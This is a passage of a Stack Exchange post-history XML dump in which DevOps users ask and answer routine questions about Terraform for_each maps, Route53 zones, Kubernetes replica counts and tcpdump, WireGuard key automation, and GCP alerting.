  <row Id="37056" PostHistoryTypeId="2" PostId="12058" RevisionGUID="fffc5787-a1b7-4a76-8e0a-3994fd5f44ea" CreationDate="2020-07-22T23:53:28.953" UserId="23241" Text="I have solved this issue, it had to do with the path to the pipeline.&#xD;&#xA;&#xD;&#xA;I created a directory called pipelines/dev and pipelines/prod in the root of my repo. And I pointed either build pipeline to the respective yaml config file. Now it will only build on the commit of the specific branches." ContentLicense="CC BY-SA 4.0" />
  <row Id="37057" PostHistoryTypeId="2" PostId="12059" RevisionGUID="d83628e8-e3ef-432a-8339-036a86dee00f" CreationDate="2020-07-23T05:03:42.030" UserId="23277" Text="I agree with MLu although my experience is generally in small teams where roles tend to get a bit blurred anyway.&#xD;&#xA;Taking the 'infrastructure as code' approach that led to dev ops, the dev ops team should be collaborating with the dev team just like the dev team collaborate internally to ensure features work together.&#xD;&#xA;Perhaps having separated teams is the problem and instead you should have project based teams that include all specialities working together. &#xD;&#xA;Again my experience is in small startup environments so this may be a big shift in a larger organisation used to departmentalisation. " ContentLicense="CC BY-SA 4.0" />
  <row Id="37058" PostHistoryTypeId="50" PostId="10453" RevisionGUID="7d7f0ea5-5f6b-4f8b-a8e5-d15c0b86f190" CreationDate="2020-07-23T09:03:45.330" UserId="-1" />
  <row Id="37059" PostHistoryTypeId="2" PostId="12060" RevisionGUID="7f933e91-f0a0-47ff-b1f1-e4ae96608ae6" CreationDate="2020-07-23T09:30:13.813" UserId="15035" Text="I need to create a datadog synthetics monitors with the resource `datadog_synthetics_test`&#xD;&#xA;&#xD;&#xA;I need to monitor multiples cluster, with multiple point of view :&#xD;&#xA;&#xD;&#xA;    # Clusters&#xD;&#xA;    variable &quot;datadog_gke_clusters&quot; {&#xD;&#xA;      default = [&#xD;&#xA;        # NPRD&#xD;&#xA;        {&#xD;&#xA;          name        = &quot;cluster01&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;        },&#xD;&#xA;        # PROD&#xD;&#xA;        {&#xD;&#xA;          name        = &quot;cluster02&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # Point of views&#xD;&#xA;    variable &quot;gke_slo_&quot; {&#xD;&#xA;      description = &quot;Response time threshold in ms to respond to a request.&quot;&#xD;&#xA;      default = [&#xD;&#xA;        {&#xD;&#xA;          zone              = private&#xD;&#xA;          monitor_threshold = 50&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          zone              = public&#xD;&#xA;          monitor_threshold = 100&#xD;&#xA;        },&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;`for_each` need a map or a list of strings &#xD;&#xA;&#xD;&#xA;    resource &quot;datadog_synthetics_test&quot; &quot;gke-monitoring&quot; {&#xD;&#xA;      for_each = ... # cartesian product of lists&#xD;&#xA;    &#xD;&#xA;      type    = &quot;api&quot;&#xD;&#xA;      subtype = &quot;http&quot;&#xD;&#xA;      ....&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There is a function `[setproduct(sets...)][1]` which produce a list which combine values of each list, but not a map.&#xD;&#xA;&#xD;&#xA;I would need to produce a map which look like this : &#xD;&#xA;&#xD;&#xA;      {&#xD;&#xA;        &quot;cluster01-private&quot; = {&#xD;&#xA;          name        = &quot;cluster01&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.cluster01.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.cluster01.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;          zone              = private&#xD;&#xA;          monitor_threshold = 50&#xD;&#xA;        },&#xD;&#xA;        &quot;cluster01-public&quot; = {&#xD;&#xA;          name        = &quot;cluster01&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.cluster01.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.cluster01.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;          zone              = public&#xD;&#xA;          monitor_threshold = 100&#xD;&#xA;        },&#xD;&#xA;        # PROD&#xD;&#xA;        .... etc&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;How could I do that ? &#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/configuration/functions/setproduct.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37060" PostHistoryTypeId="1" PostId="12060" RevisionGUID="7f933e91-f0a0-47ff-b1f1-e4ae96608ae6" CreationDate="2020-07-23T09:30:13.813" UserId="15035" Text="Produce a map from the cartesian product of two lists to use with for_each on a resource with Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="37061" PostHistoryTypeId="3" PostId="12060" RevisionGUID="7f933e91-f0a0-47ff-b1f1-e4ae96608ae6" CreationDate="2020-07-23T09:30:13.813" UserId="15035" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37062" PostHistoryTypeId="2" PostId="12061" RevisionGUID="47e44837-43fd-46ce-842c-e6dc7ed8ba63" CreationDate="2020-07-23T11:13:07.873" UserId="23280" Text="I want to send monitoring notifications to Google Chat in Google Cloud Platform. Under Monitoring &gt; Alerting &gt; Edit notificaton channels, Google Chat is not listed (only the competitor Slack, interesting...). &#xD;&#xA;&#xD;&#xA;If I try to use a Webhook, the message never arrives in Google Chat. This is because the webhook request sent by Google has the wrong format - it does not include a &quot;text&quot; key in the JSON body [(see here for the format of the request sent by Google)][1]. &#xD;&#xA;&#xD;&#xA;**Is it impossible to send monitoring notifications to Google Chat, even though the competitor Slack is available?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/monitoring/support/notification-options#webhooks" ContentLicense="CC BY-SA 4.0" />
  <row Id="37063" PostHistoryTypeId="1" PostId="12061" RevisionGUID="47e44837-43fd-46ce-842c-e6dc7ed8ba63" CreationDate="2020-07-23T11:13:07.873" UserId="23280" Text="How can I send monitoring notifications to Google Chat in Google Cloud Platform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37064" PostHistoryTypeId="3" PostId="12061" RevisionGUID="47e44837-43fd-46ce-842c-e6dc7ed8ba63" CreationDate="2020-07-23T11:13:07.873" UserId="23280" Text="&lt;google-cloud-platform&gt;&lt;google-apps&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37065" PostHistoryTypeId="4" PostId="12060" RevisionGUID="a34adf51-daef-49e6-bfe2-d172a22a0929" CreationDate="2020-07-23T12:17:47.390" UserId="15035" Comment="improve title" Text="How to produce a map from the cartesian product of two lists to use with for_each on a resource with Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="37066" PostHistoryTypeId="2" PostId="12062" RevisionGUID="f2fb043c-7075-4546-b802-e96776fee38b" CreationDate="2020-07-23T13:06:36.667" UserId="23282" Text="In 2 steps, you can first create your cartesian product in a variable:&#xD;&#xA;&#xD;&#xA;    locals {&#xD;&#xA;      datadog_gke_clusters_by_pov = flatten([&#xD;&#xA;        for cluster in var.datadog_gke_clusters : [&#xD;&#xA;          for pov in var.gke_slo_ : {&#xD;&#xA;            cluster    = cluster&#xD;&#xA;            pov        = pov&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;      ])&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And then use this new variable in your resource block:&#xD;&#xA;&#xD;&#xA;    resource &quot;datadog_synthetics_test&quot; &quot;gke-monitoring&quot; {&#xD;&#xA;      for_each = {&#xD;&#xA;        for valuue in local.datadog_gke_clusters_by_pov : &quot;${valuue.cluster.name}-${valuue.pov.zone_name}&quot; =&gt; valuue&#xD;&#xA;      }&#xD;&#xA;    ...&#xD;&#xA;    # here you can use each.value.cluster.* and each.value.pov.*&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Have a good day!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37067" PostHistoryTypeId="2" PostId="12063" RevisionGUID="d3a65b53-8434-4b84-acdb-ba96338e02ce" CreationDate="2020-07-23T13:16:00.157" UserId="16518" Text="If you're using Java/Maven/Gradle, Azure Artifacts only supports ONE external repository: Maven Central. If your package is not in that repository, you are pretty much bound to use Artifactory or Nexus, or some similar alternative." ContentLicense="CC BY-SA 4.0" />
  <row Id="37068" PostHistoryTypeId="5" PostId="12060" RevisionGUID="645a23de-f088-493f-b48b-ab3e31bfbebb" CreationDate="2020-07-23T13:33:34.183" UserId="15035" Comment="deleted 1 character in body" Text="I need to create a datadog synthetics monitors with the resource `datadog_synthetics_test`&#xD;&#xA;&#xD;&#xA;I need to monitor multiples cluster, with multiple point of view :&#xD;&#xA;&#xD;&#xA;    # Clusters&#xD;&#xA;    variable &quot;datadog_gke_clusters&quot; {&#xD;&#xA;      default = [&#xD;&#xA;        # NPRD&#xD;&#xA;        {&#xD;&#xA;          name        = &quot;cluster01&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;        },&#xD;&#xA;        # PROD&#xD;&#xA;        {&#xD;&#xA;          name        = &quot;cluster02&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # Point of views&#xD;&#xA;    variable &quot;gke_slo&quot; {&#xD;&#xA;      description = &quot;Response time threshold in ms to respond to a request.&quot;&#xD;&#xA;      default = [&#xD;&#xA;        {&#xD;&#xA;          zone              = private&#xD;&#xA;          monitor_threshold = 50&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          zone              = public&#xD;&#xA;          monitor_threshold = 100&#xD;&#xA;        },&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;`for_each` need a map or a list of strings &#xD;&#xA;&#xD;&#xA;    resource &quot;datadog_synthetics_test&quot; &quot;gke-monitoring&quot; {&#xD;&#xA;      for_each = ... # cartesian product of lists&#xD;&#xA;    &#xD;&#xA;      type    = &quot;api&quot;&#xD;&#xA;      subtype = &quot;http&quot;&#xD;&#xA;      ....&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There is a function `[setproduct(sets...)][1]` which produce a list which combine values of each list, but not a map.&#xD;&#xA;&#xD;&#xA;I would need to produce a map which look like this : &#xD;&#xA;&#xD;&#xA;      {&#xD;&#xA;        &quot;cluster01-private&quot; = {&#xD;&#xA;          name        = &quot;cluster01&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.cluster01.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.cluster01.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;          zone              = private&#xD;&#xA;          monitor_threshold = 50&#xD;&#xA;        },&#xD;&#xA;        &quot;cluster01-public&quot; = {&#xD;&#xA;          name        = &quot;cluster01&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.cluster01.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.cluster01.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;          zone              = public&#xD;&#xA;          monitor_threshold = 100&#xD;&#xA;        },&#xD;&#xA;        # PROD&#xD;&#xA;        .... etc&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;How could I do that ? &#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/configuration/functions/setproduct.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37069" PostHistoryTypeId="2" PostId="12064" RevisionGUID="b096c39e-e51e-402a-bac9-7a9a5a7522d2" CreationDate="2020-07-23T15:07:59.000" UserId="23283" Text="As in Terraform, a loop &quot;products&quot; a result (a map, a list, an object...), in this case, you have to avoid nested loop:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Clusters&#xD;&#xA;variable &quot;datadog_gke_clusters&quot; {&#xD;&#xA;  type = list(object({&#xD;&#xA;    name        = string&#xD;&#xA;    environment = string&#xD;&#xA;    url = object({&#xD;&#xA;      private = string&#xD;&#xA;      public  = string&#xD;&#xA;    })&#xD;&#xA;  }))&#xD;&#xA;  default = [&#xD;&#xA;    # NPRD&#xD;&#xA;    {&#xD;&#xA;      name        = &quot;cluster01&quot;&#xD;&#xA;      environment = &quot;nprd&quot;&#xD;&#xA;      url = {&#xD;&#xA;        private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;        public  = &quot;https://public.domain.com&quot;&#xD;&#xA;      }&#xD;&#xA;    },&#xD;&#xA;    # PROD&#xD;&#xA;    {&#xD;&#xA;      name        = &quot;cluster02&quot;&#xD;&#xA;      environment = &quot;nprd&quot;&#xD;&#xA;      url = {&#xD;&#xA;        private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;        public  = &quot;https://public.domain.com&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# Point of views&#xD;&#xA;variable &quot;gke_slo&quot; {&#xD;&#xA;  type = list(object({&#xD;&#xA;    zone              = string&#xD;&#xA;    monitor_threshold = number&#xD;&#xA;  }))&#xD;&#xA;  description = &quot;Response time threshold in ms to respond to a request.&quot;&#xD;&#xA;  default = [&#xD;&#xA;    {&#xD;&#xA;      zone              = &quot;private&quot;&#xD;&#xA;      monitor_threshold = 50&#xD;&#xA;    },&#xD;&#xA;    {&#xD;&#xA;      zone              = &quot;public&quot;&#xD;&#xA;      monitor_threshold = 100&#xD;&#xA;    },&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;locals {&#xD;&#xA;  result = {&#xD;&#xA;    for tuple in setproduct(var.datadog_gke_clusters, var.gke_slo): &quot;${tuple[0].name}_${tuple[1].zone}&quot; =&gt; {&#xD;&#xA;      name              = tuple[0].name&#xD;&#xA;      environment       = tuple[0].environment&#xD;&#xA;      url               = tuple[0].url&#xD;&#xA;      zone              = tuple[1].zone&#xD;&#xA;      monitor_threshold = tuple[1].monitor_threshold&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;output &quot;result&quot; {&#xD;&#xA;  value = local.result&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here we use `setproduct` to produce a `list(list(tuple(cluster,pov))` and then we can iterate on the first list to produce the expected result." ContentLicense="CC BY-SA 4.0" />
  <row Id="37073" PostHistoryTypeId="2" PostId="12066" RevisionGUID="02319db4-0632-4eee-ac6f-41107846e545" CreationDate="2020-07-24T03:46:19.630" UserId="17246" Text="My k8 cluster has MetalLB. Now I want to get a `tcpdump` to check inter-communication. &#xD;&#xA;As described [here](https://www.objectif-libre.com/en/blog/2019/06/11/metallb/)&#xD;&#xA;&gt; In this mode a service is owned by one node in the cluster. It is implemented by announcing that the layer 2 address (MAC address) that matches to the external IP is the MAC address of the node. For external devices the node have multiple IP address.&#xD;&#xA;&#xD;&#xA;So I have taken `MAC` address of my service running node and tried to put `sudo tcpdump -i eth0 ether host aa:bb:cc:11:22:33`. [refered](https://networkengineering.stackexchange.com/questions/19737/tcpdump-filter-by-mac-address)&#xD;&#xA;&#xD;&#xA;metalLB config&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Name:         config&#xD;&#xA;Namespace:    metallb-system&#xD;&#xA;Labels:       &lt;none&gt;&#xD;&#xA;Annotations:  &lt;none&gt;&#xD;&#xA;&#xD;&#xA;Data&#xD;&#xA;====&#xD;&#xA;config:&#xD;&#xA;----&#xD;&#xA;address-pools:&#xD;&#xA;- name: default&#xD;&#xA;  protocol: layer2&#xD;&#xA;  addresses:&#xD;&#xA;  - 192.168.10.100-192.168.10.120&#xD;&#xA;&#xD;&#xA;Events:  &lt;none&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But I can not match any packet.&#xD;&#xA;&#xD;&#xA;I am kind of stuck here. I have tried `kubectl get svc`, get service running port and `tcpdump` to that port, still not matching any packet.&#xD;&#xA;Basically How can I put `tcpdump` to&#xD;&#xA;&#xD;&#xA;* LoadBalancer service&#xD;&#xA;* ClusterIP running services" ContentLicense="CC BY-SA 4.0" />
  <row Id="37074" PostHistoryTypeId="1" PostId="12066" RevisionGUID="02319db4-0632-4eee-ac6f-41107846e545" CreationDate="2020-07-24T03:46:19.630" UserId="17246" Text="How to use tcpdump to kubernetes loadbalancer assigned services" ContentLicense="CC BY-SA 4.0" />
  <row Id="37075" PostHistoryTypeId="3" PostId="12066" RevisionGUID="02319db4-0632-4eee-ac6f-41107846e545" CreationDate="2020-07-24T03:46:19.630" UserId="17246" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37076" PostHistoryTypeId="2" PostId="12067" RevisionGUID="b1651d9f-ac5f-4a9d-bc3a-a0c76f0c1261" CreationDate="2020-07-24T06:18:56.497" UserId="3083" Text="## Context&#xD;&#xA;&#xD;&#xA;In Terraform, to create a new domain record, I first need to find the zone under which it should be hosted.  E.g. If I want to create a DNS record for `mysite.example.com`, I'd get the zone `example.com` and create a record for `mysite` under it, like so:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable zone {&#xD;&#xA;    type = string&#xD;&#xA;}&#xD;&#xA;variable subdomain {&#xD;&#xA;    type = string&#xD;&#xA;}&#xD;&#xA;variable targets {&#xD;&#xA;    type = list(string)&#xD;&#xA;    default = [&quot;devops.stackexchange.com&quot;] # just defaulting this stuff to reduce code in this sample&#xD;&#xA;}&#xD;&#xA;data aws_route53_zone this {&#xD;&#xA;    name = var.zone&#xD;&#xA;}&#xD;&#xA;resource aws_route53_record this {&#xD;&#xA;    zone_id = data.aws_route53_zone.this.zone_id&#xD;&#xA;    name = &quot;${var.subdomain}.${var.zone}&quot;&#xD;&#xA;    type = &quot;CNAME&quot;&#xD;&#xA;    ttl = 100&#xD;&#xA;    records = var.targets&#xD;&#xA;}&#xD;&#xA;output fqdn {&#xD;&#xA;    value = aws_route53_record.this.fqdn&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If I wanted to create `devops.mysite.example.com` then I'd either call this module with:&#xD;&#xA;```&#xD;&#xA;zone = &quot;example.com&quot;&#xD;&#xA;subdomain = &quot;devops.mysite&quot;&#xD;&#xA;```&#xD;&#xA;Or, if I had a hosted zone for `mysite.example.com`, I'd call it with:&#xD;&#xA;```&#xD;&#xA;zone = &quot;mysite.example.com&quot;&#xD;&#xA;subdomain = &quot;devops&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It's possibly that I could go with the fist approach (e.g. where `example.com` is my only hosted zone) only for someone to later add a hosted zone for the `mysite` subdomain.  If that occurred I wouldn't want to have to change my code; since the requirement is still the same; I'd just want Terraform to see that it was still possible to fulfill my requirement (i.e. to create a DNS CName record pointing `devops.mysite.example.com` at `devops.stackexchange.com`) and adjust accordingly.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;&#xD;&#xA;Is there a way to have Terraform determine the appropriated hosted zone for a given record?  E.g. So I could call my module passing `devops.mysite.example.com` and have the system work its way through the hosted zones recursively until it finds the correct one, then creates the appropriate entry there (or if no appropriate zone was found, error)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37077" PostHistoryTypeId="1" PostId="12067" RevisionGUID="b1651d9f-ac5f-4a9d-bc3a-a0c76f0c1261" CreationDate="2020-07-24T06:18:56.497" UserId="3083" Text="Find relevant domain/hosted zone under which to host subdomain" ContentLicense="CC BY-SA 4.0" />
  <row Id="37078" PostHistoryTypeId="3" PostId="12067" RevisionGUID="b1651d9f-ac5f-4a9d-bc3a-a0c76f0c1261" CreationDate="2020-07-24T06:18:56.497" UserId="3083" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37085" PostHistoryTypeId="2" PostId="12070" RevisionGUID="2d2375f6-41a2-47e5-93a9-9f224675e2e3" CreationDate="2020-07-24T13:00:50.267" UserId="23293" Text="I have TEE plugin in eclipse to connect to Azure services and have created a project in Azure. The project has a repository and viewable in Eclipse TE window. I have been trying to copy my java project present in Project Explorer in eclipse to azure repo by adding repo URI in project's Team Push Master page. It shows that the project has been pushed, but I don't see any code in repo in Azure.&#xA;&#xA;Could someone work out what's wrong?&#xA;&#xA;Thanks&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37086" PostHistoryTypeId="1" PostId="12070" RevisionGUID="2d2375f6-41a2-47e5-93a9-9f224675e2e3" CreationDate="2020-07-24T13:00:50.267" UserId="23293" Text="Copying Eclipse project into devops repo" ContentLicense="CC BY-SA 4.0" />
  <row Id="37087" PostHistoryTypeId="3" PostId="12070" RevisionGUID="2d2375f6-41a2-47e5-93a9-9f224675e2e3" CreationDate="2020-07-24T13:00:50.267" UserId="23293" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37088" PostHistoryTypeId="5" PostId="12052" RevisionGUID="180efd28-c114-4fd8-bd27-5b87a2e6cf22" CreationDate="2020-07-24T14:55:27.317" UserId="10769" Comment="added 264 characters in body" Text="Define the number of replicas in the `values.yaml` and pass it anywhere in resources (statefulset)&#xD;&#xA;&#xD;&#xA;**Update:** You can neither have a dynamic environment variable nor refer to the replicas field in STS. So the only way to get an updated count of STS in each pod is to redeploy with the new value of replicas in `values.yaml`:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;replicas: 3&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37089" PostHistoryTypeId="2" PostId="12071" RevisionGUID="c14f7380-648d-4293-ab28-8f10c43b6778" CreationDate="2020-07-24T15:03:27.207" UserId="2708" Text="Let's assume you want to deploy a cluster of machines on Hetzer Cloud. For simplicity let's call them `worker1`, `worker2`, `worker3`. They need to communicate with a server called `master`, which will be running on different account then the workers. Ideally, the whole setup should not be open to the internet. Unfortunately, Hetzner supports only private networks within the same account.&#xD;&#xA;&#xD;&#xA;To make it work, you can setup your own VPN using WireGuard. Conceptually, it is not hard. You need to setup three connections (between the `master` and each `worker`). The tricky part is how to automate the key exchange. Ideally, it should not be more work if you deploy additional workers (e.g. 100 instead 3 workers).&#xD;&#xA;&#xD;&#xA;Setting up such a VPN cluster sounds like a common problem, but I cannot find any recommendations on how to setup `1-to-n` or `n-to-m` connections, only tutorials on how to peer two machines. I'm thinking of automating the key exchange with Ansible (generate keys, gather them, install them on the `master`), but wanted to check first whether there is an easier solution to the problem that I missed.&#xD;&#xA;&#xD;&#xA;In SSH, workers could share their key, which would simplify the problem. In WireGuard, keys cannot be shared, as far as I understood. How would you automate the setup of a VPN with WireGuard, so each worker can reach the master? Or is WireGuard the wrong choice for the problem?&#xD;&#xA;&#xD;&#xA;Clarification:&#xD;&#xA;&#xD;&#xA;* In my scenario, it is not possible to move the workers and master to the same account; otherwise, Hetzner networks would be the straightforward solution for setting up a private network.&#xD;&#xA;* If you are not familiar with Hetzner Cloud, it is not a problem. You can assume that you get normal Linux machines, but then you are on your own (it does not support VPC peering across accounts as AWS does). Yet you can use all Linux tools available for creating the VPN setup. WireGuard would be my first choice, but I'm open to other techniques." ContentLicense="CC BY-SA 4.0" />
  <row Id="37090" PostHistoryTypeId="1" PostId="12071" RevisionGUID="c14f7380-648d-4293-ab28-8f10c43b6778" CreationDate="2020-07-24T15:03:27.207" UserId="2708" Text="How to automate the key exchange in WireGuard when you deploy a cluster of machines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37091" PostHistoryTypeId="3" PostId="12071" RevisionGUID="c14f7380-648d-4293-ab28-8f10c43b6778" CreationDate="2020-07-24T15:03:27.207" UserId="2708" Text="&lt;ansible&gt;&lt;deployment&gt;&lt;automation&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37093" PostHistoryTypeId="2" PostId="12072" RevisionGUID="36f29e83-e2d2-4dbe-9eb9-3200ff819b5b" CreationDate="2020-07-24T16:00:13.997" UserId="10718" Text="If you launch the statefulset with the following key set&#xD;&#xA;&#xD;&#xA;```json&#xD;&#xA;{&quot;spec&quot;:{&quot;template&quot;:{&quot;spec&quot;:{&quot;serviceAccountName&quot;:&quot;myserviceaccount&quot;}}}}&#xD;&#xA;```&#xD;&#xA;you can run&#xD;&#xA;```&#xD;&#xA;curl \&#xD;&#xA;https://kubernetes/apis/apps/v1/namespaces/&lt;NAMESPACE&gt;/statefulsets/&lt;STATEFULSET&gt; \&#xD;&#xA;-k -H &quot;Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)&quot; \&#xD;&#xA;| jq '.spec.replicas'&#xD;&#xA;```&#xD;&#xA;to extract the replica count. This, of course, relies on the service account (myserviceaccount in this example) to have appropriate permissions to actually query the k8s API for this information, as well as having curl and jq available in the container.&#xD;&#xA;&#xD;&#xA;You could then setup some kind of background job in the container to regularly make this request and update an env var or file or whatever." ContentLicense="CC BY-SA 4.0" />
  <row Id="37094" PostHistoryTypeId="2" PostId="12073" RevisionGUID="c8367ec1-7b46-4068-9222-2ce23cb94c74" CreationDate="2020-07-24T17:55:28.570" UserId="132" Text="Short answer: I don't believe that is possible.&#xD;&#xA;&#xD;&#xA;*In my opinion*, I suspect this problem has more to do with process and responsibilities than it does with Terraform.&#xD;&#xA;&#xD;&#xA;You said:&#xD;&#xA;&#xD;&#xA;&gt; It's possibly that I could go with the fist approach (e.g. where example.com is my only hosted zone) only for someone to later add a hosted zone for the mysite subdomain. If that occurred I wouldn't want to have to change my code...&#xD;&#xA;&#xD;&#xA;Terraform is best when *at least most* of its associated resources are Terraform-managed. That means you should be managing your zones, too, not just your records.&#xD;&#xA;&#xD;&#xA;Which begs the question: why isn't your zone in Terraform?&#xD;&#xA;&#xD;&#xA;If your zone was Terraform-managed, the impact of that change should be evident in a `terraform plan` to anyone who might come along to change it. Even if it references a zone in a different remote state file, a tool like [runatlantis.io][1] could show that diff in the Github PR before merging.&#xD;&#xA;&#xD;&#xA;Let's say this is the worst-case scenario: you managed the records, it's a different team that creates and manages the zones, and they don't want to use Terraform. In that case, perhaps your DNS records shouldn't be in Terraform, either. Terraform is arguably too stateful for that. Perhaps a few python boto3 scripts can do everything you need it to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.runatlantis.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37095" PostHistoryTypeId="2" PostId="12074" RevisionGUID="f7cc28be-9e98-4f6c-afe5-b00fa601f57a" CreationDate="2020-07-25T04:07:10.020" UserId="23300" Text="I configured AWS provider in Terraform by providing an access key and secret as environment variables according to the [documentation][1]:&#xD;&#xA;&#xD;&#xA;`$ export AWS_ACCESS_KEY_ID=&quot;anaccesskey&quot;` \&#xD;&#xA;`$ export AWS_SECRET_ACCESS_KEY=&quot;asecretkey&quot;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://registry.terraform.io/providers/hashicorp/aws/latest/docs&#xD;&#xA;&#xD;&#xA;I now want to view those variables on the console as well as other environment variables configured on my system but I can't find the right command." ContentLicense="CC BY-SA 4.0" />
  <row Id="37096" PostHistoryTypeId="1" PostId="12074" RevisionGUID="f7cc28be-9e98-4f6c-afe5-b00fa601f57a" CreationDate="2020-07-25T04:07:10.020" UserId="23300" Text="How can I list all environment variables configured in Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37097" PostHistoryTypeId="3" PostId="12074" RevisionGUID="f7cc28be-9e98-4f6c-afe5-b00fa601f57a" CreationDate="2020-07-25T04:07:10.020" UserId="23300" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37101" PostHistoryTypeId="2" PostId="12076" RevisionGUID="e7ec7d7a-9e06-4bf3-a453-b5931942397c" CreationDate="2020-07-25T10:01:02.443" UserId="15169" Text="There two ways either increase the number in your DeploymentConfig directly or use ```oc scale statefulset &lt;name_of_statfulset&gt; --replicas=2```&#xD;&#xA;&#xD;&#xA;    apiVersion: apps.openshift.io/v1&#xD;&#xA;    kind: DeploymentConfig&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;      app: jekyll&#xD;&#xA;      name: jekyll&#xD;&#xA;      namespace: test&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1 &lt;----------- here increase the number&#xD;&#xA;      selector:&#xD;&#xA;        app: jekyll&#xD;&#xA;        deploymentconfig: jekyll&#xD;&#xA;     strategy:&#xD;&#xA;      type: Rolling&#xD;&#xA;     template:&#xD;&#xA;       metadata:&#xD;&#xA;        creationTimestamp: null&#xD;&#xA;        labels:&#xD;&#xA;          app: jekyll&#xD;&#xA;          deploymentconfig: jekyll&#xD;&#xA;       spec:&#xD;&#xA;         containers:&#xD;&#xA;          - args:&#xD;&#xA;              - serve&#xD;&#xA;              - '--trace'&#xD;&#xA;            